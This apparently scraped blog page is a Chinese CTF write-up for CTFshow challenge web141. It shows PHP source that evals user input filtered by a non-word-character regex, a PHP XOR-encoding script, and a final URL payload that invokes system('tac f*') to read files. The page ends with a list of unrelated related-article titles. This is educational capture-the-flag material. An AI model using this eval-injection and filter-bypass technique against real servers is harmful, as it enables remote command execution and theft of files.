目录

  • 源码
  • 思路
  • 题解
  • 总结

源码

<?php/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-10-13 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-10-17 19:28:09*/#error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){$v1 = (String)$_GET['v1'];$v2 = (String)$_GET['v2'];$v3 = (String)$_GET['v3'];if(is_numeric($v1) && is_numeric($v2)){if(preg_match('/^\W+$/', $v3)){$code =  eval("return $v1$v3$v2;");echo "$v1$v3$v2 = ".$code;}}
}

思路

数字和运算符是可以一起执行命令的,如1+phpinfo()+1;是可以显示phpinfo页面的,GET传入的只是字符串“1+phpinfo()+1”;是不能直接执行命令的,经过eval处理后就变成了可以执行命令,if(preg_match('/^\W+$/', $v3)){的存在我们只能传入非数字字母,不过php7可以用(‘phpinfo’)()动态调用函数,可以用异或绕过

题解

异或脚本

<?php
highlight_file(__FILE__);
$a = $_GET['a'];
for ($i = 0; $i < strlen($a); $i++) {echo "%".dechex(ord($a[$i])^0xff);
}
echo "^";
for ($i = 0; $i < strlen($a); $i++) {echo "%ff";
}

?v1=1&v2=1&v3=%2b(%8c%86%8c%8b%9a%92^%ff%ff%ff%ff%ff%ff)(%8b%9e%9c%df%99%d5^%ff%ff%ff%ff%ff%ff)%2b


总结

水题

CTFshow php特性 web141相关推荐

  1. ctfshow php特性 下

    目录 web113 web114 web115 web123(php解析特性) web125 web126 web127(php解析特性) web128 web129 web130 web131 we ...

  2. ctfshow php特性(89——150plus)

    web89 这题的逻辑是如果存在$_GET['num'],则用正则表达式匹配$num中的值,如果成功匹配则程序终止于"no no no",否则进行下一步,如果intval($num ...

  3. ctfshow php特性 web89-web115 web123-150wp

    php特性 参考博客仍然是南神博客 文章目录 php特性 web89 web90 web91 web92 web93 web94 web95 web96 web97 web98 web99 web10 ...

  4. CTFshow——PHP特性(下)

    目录: web132--逻辑运算符的优先级 web133--curl -F web134--php变量覆盖 web135-- >xx.txt 写文件 web136-- tee命令 web137- ...

  5. CTFshow php特性 web150plus

    目录 源码 思路 题解 总结 源码 <?php/* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-10-13 11:25:09 # ...

  6. CTFshow php特性 web150

    目录 源码 思路 题解 总结 源码 <?php/* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-10-13 11:25:09 # ...

  7. CTFshow php特性 web147

    目录 源码 思路 题解 总结 源码 <?php/* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-10-13 11:25:09 # ...

  8. CTFshow php特性 web140

    目录 源码 思路 题解 总结 源码 <?php/* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-10-13 11:25:09 # ...

  9. CTFshow php特性 web138

    目录 源码 思路 题解 总结 源码 <?php/* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-10-13 11:25:09 # ...

最新文章

  1. 【数据结构】双链表的实现(C语言)
  2. Retrofit 上传文件显示进度及踩坑记录
  3. Zabbix 3.2.6 升级到 Zabbix 3.4.3
  4. Scala比较器:Ordered与Ordering
  5. LeetCode之Hamming Distance
  6. 人工智能与物联网安全:以子之矛,攻子之盾
  7. javascript的table 对象 属性 方法
  8. matplotlib中文乱码的两种解决方案
  9. keil注册机激活的方法
  10. python opencv车辆测速视频汽车速度检测入侵检测测速
  11. js:常用的3种弹出提示框(alert、confirm、prompt)
  12. iOS8官方推荐图标和图像尺寸
  13. PHP手册翻译日记[1]
  14. Unveiling the java.lang.Out OfMemoryError
  15. 一步步自定义视频播放器——TextureView+MediaPlayer自定义视频播放器
  16. iOS开发笔记(IOS7回归)
  17. 扫描仪怎样装无线网络服务器,扫描仪(7140)安装说明
  18. 综合素质计算机的知识考点,综合素质常识考题
  19. logging日志写入文件
  20. Windows安装TensorFlow教程(国内源安装附上各大镜像网站网址)

热门文章

  1. Spring 整合 CXF
  2. python datetime模块和time模块
  3. 心疼啊今天在四季青买衣服的时候在试衣服的时候,竟然有个小偷把我的n73手机给偷去了,...
  4. WINCE5.0下SQL server compact版本更新
  5. echart 数据视图_关于数据可视化图表的制作,你需要关注的30个小技巧
  6. css实现文本超出两行隐藏
  7. python3 json.dump乱码问题
  8. Python 爬取简单网页
  9. raid磁盘阵列OFFLINE后的应急方案
  10. SEO配置信息操作文档